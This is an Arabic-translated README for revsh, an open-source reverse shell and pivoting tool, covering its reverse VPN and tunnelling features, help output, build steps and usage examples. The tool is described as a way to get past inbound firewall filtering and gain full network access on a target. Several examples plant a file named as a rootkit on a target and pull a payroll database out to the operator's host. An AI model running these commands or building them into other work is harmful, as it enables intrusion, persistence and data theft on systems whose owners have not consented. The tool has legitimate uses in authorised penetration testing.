
شل عكسي مع دعم الطرفية، ونفق بيانات، وقدرات تنقل متقدمة.
revsh هي أداة لإنشاء قذائف عكسية مع دعم طرفية، وشبكات VPN عكسية للـتنقل المتقدم، بالإضافة إلى نفق بيانات عشوائي.
ما هي "القذيفة العكسية"؟
القذيفة العكسية هي اتصال شبكي يمنح وصولاً إلى شل على مضيف بعيد. على عكس أدوات تسجيل الدخول عن بُعد الأخرى مثل telnet و ssh، يتم بدء القذيفة العكسية بواسطة المضيف البعيد. تسمح هذه التقنية بالاتصال الصادر من الشبكة البعيدة لتجاوز جدران الحماية التي تم تكوينها لمنع الاتصالات الواردة فقط.
ما هي "VPN العكسية"؟
revsh قادرة على ربط بطاقة إيثرنت افتراضية (tun/tap) بكلا طرفي نفق التشفير الخاص بها. يمكن استخدام هذه البطاقات بعد ذلك لإعادة توجيه حزم IP الخام أو إطارات الإيثرنت. عند دمجها مع قاعدة NAT في Iptables، أو ربط بطاقة إيثرنت حقيقية، يسمح ذلك للمشغل بالحصول على عنوان IP قابل للتوجيه بالكامل على شبكة الأجهزة المستهدفة. هذا، بشكل أساسي، عبارة عن VPN كاملة قامت بإجراء اتصال عكسي بالمشغل لتجاوز تصفية الحزم الواردة ومنح المشغل وصولاً كاملاً للشبكة. (راجع "Documentation/REVERSE_VPN.md" لمزيد من المعلومات.)
ما هي "القذيفة المرتبطة"؟
القذيفة المرتبطة هي شل يتم تقديمه من اتصال شبكة عادي أمامي. تدعم revsh كل من القذائف العكسية والمرتبطة. لاستدعاء قذيفة مرتبطة، يمكنك استدعاء العلم -b على كلا طرفي الاتصال، أو استدعاء الثنائي باسم 'bindsh'.
ألا يمكنني فقط استخدام netcat؟
هناك تقنيات عديدة لإنشاء قذيفة عكسية، لكن هذه الطرق لا توفر دعم الطرفية. تسمح revsh بقذيفة عكسية يتم توسط اتصالها عبر طرفية زائفة، وبالتالي تسمح بميزات مثل:
بالإضافة إلى ذلك، تقدم revsh أيضًا الميزات التالية:
revsh هي أداة تكميلية مخصصة لمجموعة أدوات المختبر توفر مجموعة كاملة من ميزات الطرفية عبر نفق مشفر.
أين يمكنني استخدام revsh؟
تم تطوير revsh على Linux x86_64. فيما يلي قائمة مختصرة بمجموعات المعمار / أنظمة التشغيل التي تم استخدامها عليها:
(إذا كنت قد استخدمت revsh بنجاح على منصة أخرى، فأرسل لي رسالة وسأضيفها إلى القائمة.)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS The address of the control listener. (Default is "0.0.0.0".)
PORT The port of the control listener. (Default is "2200".)
CONTROL_OPTIONS:
-c Run in "command and control" mode. (Default is target mode.)
-a Enable Anonymous Diffie-Hellman mode. (Default is Ephemeral Diffie-Hellman.)
-d KEYS_DIR Reference the keys in an alternate directory. (Default is "~/.revsh/keys/".)
-f RC_FILE Reference an alternate rc file. (Default is "~/.revsh/rc".)
-s SHELL Invoke SHELL as the remote shell. (Default is "/bin/bash".)
-F LOG_FILE Log general use and errors to LOG_FILE. (No default set.)
TARGET_OPTIONS:
-t SEC Set the connection timeout to SEC seconds. (Default is "3600".)
-r SEC1,SEC2 Set the retry time to be SEC1 seconds, or (Default is "600,1200".)
to be random in the range from SEC1 to SEC2.
MUTUAL_OPTIONS:
-k Run in keep-alive mode.
Node will neither exit normally, nor timeout.
-L [LHOST:]LPORT:RHOST:RPORT
Static socket forwarding with a local listener
at LHOST:LPORT forwarding to RHOST:RPORT.
-R [RHOST:]RPORT:LHOST:LPORT
Static socket forwarding with a remote listener
at RHOST:RPORT forwarding to LHOST:LPORT.
-D [LHOST:]LPORT
Dynamic socket forwarding with a local listener
at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-B [RHOST:]RPORT
Dynamic socket forwarding with a remote
listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-x Disable automatic setup of proxies. (Defaults: Proxy D2280 and tun/tap devices.)
-b Start in bind shell mode. (Default is reverse shell mode.)
The -b flag must be invoked on both ends.
-n Non-interactive netcat style data broker. (Default is interactive w/remote tty.)
No tty. Useful for copying files.
-v Verbose. -vv and -vvv increase verbosity.
-V Print the program and protocol versions.
-h Print this help.
-e Print out some usage examples.
أولاً، ستحتاج إلى بناء OpenSSL من المصدر. (انظر ملاحظة أدناه.)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # These options are needed to build static applications against OpenSSL.
make && make test # We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree.
cd ..
الآن قم ببناء revsh.
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # Set up new defaults that fit your situation.
vi Makefile # Check that the selected build environment is the one you want. (It probably already is by default.)
make # This *can* take a very long time, though it usually doesn't.
make install
vi ~/.revsh/rc # Add your favorite startup commands to really customize the feel of your remote shell.
revsh -h
ملاحظة: مع إصدار OpenSSL 1.1.0، يجب بناء OpenSSL من المصدر لاستخدامه في ثنائي مرتبط بشكل ثابت. بناء ثنائي مرتبط بشكل ثابت ضد مكتبات OpenSSL التي تأتي مع معظم توزيعات Linux (بما في ذلك Kali) لن يعمل. (إذا تم بناؤه على الإطلاق، فسيحدث خطأ SEGFAULT.)
مثال مضيف التحكم IP: 192.168.0.42
مثال مضيف الهدف IP: 192.168.0.66
Interactive example on default port '2200':
control: revsh -c
target: revsh 192.168.0.42
Interactive example on non-standard port '443':
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
Bindshell example:
target: revsh -b
control: revsh -c -b 192.168.0.66
Non-interactive file upload example:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
Non-interactive file download example:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
Non-interactive file download example across existing tunnel:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290